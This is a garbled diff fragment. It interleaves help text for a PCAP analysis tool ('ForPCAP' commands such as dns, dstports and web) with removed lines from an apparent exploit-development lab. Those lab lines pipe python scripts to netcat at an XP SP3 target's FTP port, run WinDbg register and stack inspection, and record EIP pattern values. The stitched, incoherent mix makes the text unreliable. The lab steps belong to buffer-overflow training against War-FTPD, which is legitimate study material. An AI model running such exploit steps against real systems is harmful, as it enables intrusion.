+
 
 
-python warftpd1.py | nc XPSP3-ED-Target-IP 21
+
 ForPCAP >>> dns
 
-    At WINDBG prompt
+
-    “r” to show registers or “alt+4”
+
-    dd esp
+
 Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
 ForPCAP >>> dstports
 
 ForPCAP >>> show
-python warftpd2.py | nc XPSP3-ED-Target-IP 21
+
 
 Prints the number of ip source and store them.
-    At WINDBG prompt
+
-    “r” to show registers or “alt+4”
+
-    dd esp
+
 Prints the number of web's requests and store them
 ForPCAP >>> web
-    Eip: 32714131
+
-    esp: affd58     (71413471)
+
 Prints the number of mail's requests and store them
-    Now we need to SSH into the StrategicSec Ubuntu host
+
 
 -----------------------------------------------------------------------